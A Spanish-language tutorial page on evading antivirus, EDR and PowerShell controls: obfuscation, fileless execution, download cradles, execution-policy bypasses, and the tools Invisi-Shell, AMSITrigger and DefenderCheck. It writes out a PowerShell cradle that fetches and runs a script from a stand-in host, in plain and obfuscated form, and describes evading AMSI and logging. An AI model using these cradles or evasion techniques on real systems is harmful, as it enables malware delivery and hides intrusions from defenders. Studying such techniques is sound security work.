Bypass Restricciones de Seguridad
Introducción
En ciberseguridad ofensiva, los atacantes suelen enfrentarse a medidas de seguridad como antivirus, EDR (Endpoint Detection and Response), y sistemas de filtrado de red que tratan de bloquear la ejecución de comandos o la descarga de malware. Para eludir estas defensas, existen técnicas clásicas y efectivas que podemos agrupar en tres grandes categorías: ofuscación, ejecución en memoria y descarga mediante cradles. Vamos a ver en qué consiste cada una:
Ofuscación
La ofuscación consiste en modificar la apariencia de un código malicioso o de un comando, sin alterar su funcionalidad, con el fin de evadir las firmas de detección. Por ejemplo, un comando en PowerShell puede ser ofuscado alterando su sintaxis, insertando cadenas codificadas en base64 o dividiendo palabras clave, de forma que el motor de análisis no lo reconozca fácilmente.
# Comando normal
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicioso.com/shell.ps1')
# Comando ofuscado
I`nv`ok`e-Ex`pr`ess`ion ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('...')))
Ejecución en memoria (Fileless execution)
La ejecución en memoria se refiere a cargar y ejecutar el payload directamente en la RAM del sistema, evitando escribir archivos en el disco duro. Al no dejar rastros en disco, se dificulta la tarea de los antivirus tradicionales, que suelen inspeccionar archivos persistentes.
Un atacante, por ejemplo, puede inyectar un shellcode en un proceso legítimo en ejecución o utilizar PowerShell para cargar scripts en memoria sin guardarlos en disco. Esto reduce la huella forense y hace más complejo el análisis posterior.
En resumen, la ejecución en memoria busca explotar el hecho de que muchas soluciones de seguridad monitorean principalmente los archivos en reposo, no tanto la actividad puramente en RAM.
Descarga mediante cradles
Un cradle (o download cradle) es un comando que descarga y ejecuta código desde un servidor remoto, normalmente aprovechando lenguajes como PowerShell, Python o incluso bits de JavaScript. Los cradles permiten a un atacante mantener el payload real alojado en un servidor controlado, y utilizar en la máquina víctima únicamente un pequeño comando para traerlo y lanzarlo.
Esto tiene dos ventajas:
La carga útil completa no viaja inicialmente, solo el comando de descarga.
El atacante puede actualizar el payload en el servidor sin modificar el código que se ejecuta en la víctima.
Ejemplo de cradle en PowerShell:
IEX (New-Object Net.WebClient).DownloadString('http://malicioso.com/shell.ps1')
Este tipo de técnica es muy común porque es fácil de escribir, difícil de rastrear, y aprovecha herramientas del sistema legítimas como PowerShell, curl o wget.
Política de ejecución
La política de ejecución de PowerShell en Windows (por ejemplo Restricted
, RemoteSigned
, Unrestricted
, etc.) no se considera una política de seguridad estricta, más bien, es una medida preventiva o de protección diseñada principalmente para ayudar al usuario (o al administrador) a evitar la ejecución involuntaria de scripts maliciosos o no verificados.
Podemos consultar la política actual ejecutando el siguiente comando:
Get-ExecutionPolicy
La salida esperada sería la siguiente:
Restricted
Ahora supongamos que intentas ejecutar un script sencillo llamado test.ps1
, cuyo contenido es, por ejemplo:
Write-Host "Hola desde el script"
Si ejecutamos el script obtendríamos el siguiente output con la política Restricted
:
.\test.ps1 : El archivo C:\Users\usuario\test.ps1 no se puede cargar porque la ejecución de scripts está deshabilitada en este sistema. Para obtener más información, consulte about_Execution_Policies en https://go.microsoft.com/fwlink/?LinkID=135170.
En línea:1 carácter:1
+ .\test.ps1
+ ~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
Existen diferentes formas de hacer un bypass a esta política de ejecución:
Forzar la política de ejecución a ignorarse para esta instancia PowerShell:
powershell -ExecutionPolicy Bypass -File .\test.ps1
Cargar el contenido y ejecutarlo dinámicamente en memoria:
$codigo = Get-Content .\test.ps1 -Raw
Invoke-Expression $codigo
Cargar el contenido del script y pasarlo como parámetro de comando:
powershell -c "iex (Get-Content .\test.ps1 -Raw)"
Herramientas y Scripts
Invisi-Shell
Invisi-Shell es una herramienta que permite ejecutar comandos de PowerShell de forma invisible (fileless) para la consola y con mínima exposición a mecanismos de logging y detección, como el registro de eventos de PowerShell o el AMSI (Antimalware Scan Interface).
El objetivo principal de Invisi-Shell es evadir mecanismos de seguridad y monitoreo típicos de PowerShell, como el transcription logging, ScriptBlock logging o la integración con AMSI, sin desactivar explícitamente estos mecanismos en el sistema.
Esto se consigue aprovechando una técnica basada en el uso de la clase .NET System.Management.Automation
para invocar directamente el motor de PowerShell desde un entorno que no es la consola interactiva tradicional (por ejemplo, desde un script en C#, un binario o incluso otra sesión de PowerShell).
Flujo técnico:
Inicializa un entorno de PowerShell en memoria utilizando el motor de ejecución de .NET, sin lanzar una consola interactiva visible.
Carga el script o comando objetivo en la instancia de PowerShell mediante métodos como
AddScript
, permitiendo usar cualquier instrucción válida.Ejecuta el código de forma silenciosa, sin mostrar ventana de consola ni generar actividad visible para el usuario.
Evade mecanismos de seguridad como AMSI, transcription logging o script block logging, al no pasar por el intérprete interactivo y permitir el uso de ofuscación.
Finaliza el proceso sin dejar trazas evidentes, evitando entradas típicas en el registro de eventos de PowerShell y dificultando la detección mediante SIEMs o antivirus.
AMSITrigger
AMSITrigger es una herramienta diseñada para ayudar a identificar qué cadenas de código activan el AMSI (Antimalware Scan Interface) en Windows.
El objetivo principal es analizar cómo el motor AMSI reacciona ante distintas variantes de un mismo payload. Para ello, AMSITrigger introduce fragmentos de código en PowerShell de manera controlada y progresiva, con el fin de detectar el punto exacto en el que se dispara la detección.
Flujo técnico:
Carga un payload base, es decir, un script potencialmente malicioso que servirá como punto de partida para analizar cómo reacciona AMSI ante su contenido.
Lo fragmenta o muta en múltiples variantes más pequeñas, dividiendo el código original o aplicando técnicas de ofuscación para generar versiones modificadas y aislar secciones sensibles.
Inyecta dinámicamente estos fragmentos en una sesión de PowerShell, introduciendo cada parte de forma progresiva en tiempo real para simular una ejecución natural del script.
Monitorea la respuesta del motor AMSI en cada intento, observando si se produce un bloqueo o si el código pasa desapercibido, lo que revela el umbral de detección del sistema.
Registra los resultados para identificar qué modificaciones consiguen evadir la detección, almacenando el comportamiento de AMSI frente a cada variante para analizar qué técnicas permiten eludir el escaneo.
Defender Check
DefenderCheck es una herramienta que permite identificar qué cadenas de bytes hacen que un binario sea detectado por Windows Defender (ahora Microsoft Defender Antivirus).
El propósito principal de DefenderCheck es facilitar el análisis estático de binarios sospechosos, permitiendo comprobar de forma precisa qué parte del código activa una detección antivirus, sin necesidad de ejecutarlo.
A nivel técnico, el funcionamiento de DefenderCheck se basa en un enfoque iterativo:
Carga un ejecutable PE (Portable Executable) que se desea analizar.
Divide el binario en fragmentos o bloques de bytes más pequeños.
Envía el binario a Microsoft Defender para escanearlo, utilizando las APIs correspondientes.
Comprueba si es detectado como malicioso.
Si lo es, reduce aún más los fragmentos para aislar la secuencia exacta de bytes que causa la alerta.
Repite este proceso hasta encontrar la(s) cadena(s) de bytes responsables de la detección.
Última actualización